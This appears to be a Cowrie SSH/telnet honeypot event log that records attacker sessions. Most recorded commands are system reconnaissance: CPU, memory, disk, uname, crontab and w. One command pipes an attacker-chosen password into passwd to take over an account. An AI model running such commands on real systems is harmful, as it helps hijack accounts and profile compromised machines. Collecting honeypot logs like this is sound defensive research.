{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.022377Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.025715Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.180952Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.296872Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"tom\\npYOQTxiq5ht9\\npYOQTxiq5ht9\"|passwd|bash","message":"CMD: echo -e \"tom\\npYOQTxiq5ht9\\npYOQTxiq5ht9\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.299708Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.302788Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.305907Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74840998649597,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.377026Z","src_ip":"135.148.14.151","session":"e1d094388149","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d6468e4feb4ac0543106b723f25971812159ccd2098382573d002090535d6af9","size":32,"shasum":"d6468e4feb4ac0543106b723f25971812159ccd2098382573d002090535d6af9","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/d6468e4feb4ac0543106b723f25971812159ccd2098382573d002090535d6af9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.459458Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.595952Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"tom\\npYOQTxiq5ht9\\npYOQTxiq5ht9\\n\"|passwd","message":"CMD: echo \"tom\\npYOQTxiq5ht9\\npYOQTxiq5ht9\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.599506Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dbd3adea0d2acbfcf459f5f0824098f3674fa59fbfd1041cee1d7e99bf27fd1c","size":25,"shasum":"dbd3adea0d2acbfcf459f5f0824098f3674fa59fbfd1041cee1d7e99bf27fd1c","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/dbd3adea0d2acbfcf459f5f0824098f3674fa59fbfd1041cee1d7e99bf27fd1c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.753958Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.878828Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:58.882369Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.037659Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.188600Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.192208Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.346813Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.669854Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.673393Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.676638Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.831279Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.964774Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:23:59.967650Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.121926Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.278391Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.282218Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.439830Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.582519Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.586517Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.741983Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.883109Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:00.886849Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.043895Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.194109Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.197619Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.356777Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.495391Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.501294Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.657587Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.830536Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.834442Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:01.991745Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.157193Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.161016Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.317267Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.470806Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.475030Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.631822Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.773337Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.777252Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.782480Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.867824Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:02.874319Z","src_ip":"167.172.203.111","session":"ca03b51455b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e40089bcfb","protocol":"telnet","message":"New connection: 135.148.14.151:57608 (159.203.135.109:23) [session: a4e40089bcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:20.424752Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38038,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e05c9f166c","protocol":"telnet","message":"New connection: 135.148.14.151:38038 (159.203.135.109:23) [session: 33e05c9f166c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:40.710898Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41740,"dst_ip":"159.203.135.109","dst_port":23,"session":"42531237a9bf","protocol":"telnet","message":"New connection: 135.148.14.151:41740 (159.203.135.109:23) [session: 42531237a9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:45.824967Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40984,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4dc2aec711","protocol":"telnet","message":"New connection: 135.148.14.151:40984 (159.203.135.109:23) [session: de4dc2aec711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:51.198371Z"}
{"eventid":"cowrie.session.closed","duration":33.77836489677429,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:54.202982Z","src_ip":"135.148.14.151","session":"a4e40089bcfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45410,"dst_ip":"159.203.135.109","dst_port":23,"session":"78256c3e1d2d","protocol":"telnet","message":"New connection: 135.148.14.151:45410 (159.203.135.109:23) [session: 78256c3e1d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:54.845592Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"be63d10cf57c","protocol":"telnet","message":"New connection: 135.148.14.151:46726 (159.203.135.109:23) [session: be63d10cf57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:56.893180Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45628,"dst_ip":"159.203.135.109","dst_port":23,"session":"3618ac4c41d8","protocol":"telnet","message":"New connection: 135.148.14.151:45628 (159.203.135.109:23) [session: 3618ac4c41d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:24:57.363928Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.30.167","src_port":58076,"dst_ip":"159.203.135.109","dst_port":23,"session":"6162d2aa7487","protocol":"telnet","message":"New connection: 132.148.30.167:58076 (159.203.135.109:23) [session: 6162d2aa7487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:07.265008Z"}
{"eventid":"cowrie.session.closed","duration":33.315539598464966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:14.026356Z","src_ip":"135.148.14.151","session":"33e05c9f166c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.891029596328735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:22.715897Z","src_ip":"135.148.14.151","session":"42531237a9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.15954804420471,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:28.357830Z","src_ip":"135.148.14.151","session":"de4dc2aec711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60778093338013,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:29.453258Z","src_ip":"135.148.14.151","session":"78256c3e1d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.65287446975708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:31.016676Z","src_ip":"135.148.14.151","session":"3618ac4c41d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.85095429420471,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:34.744052Z","src_ip":"135.148.14.151","session":"be63d10cf57c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74104070663452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:38.005921Z","src_ip":"132.148.30.167","session":"6162d2aa7487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":19894,"dst_ip":"10.17.0.5","dst_port":22,"session":"701c708903fb","protocol":"ssh","message":"New connection: 45.142.3.73:19894 (10.17.0.5:22) [session: 701c708903fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.212665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:25:51.217593Z","src_ip":"45.142.3.73","session":"701c708903fb","protocol":"ssh"}
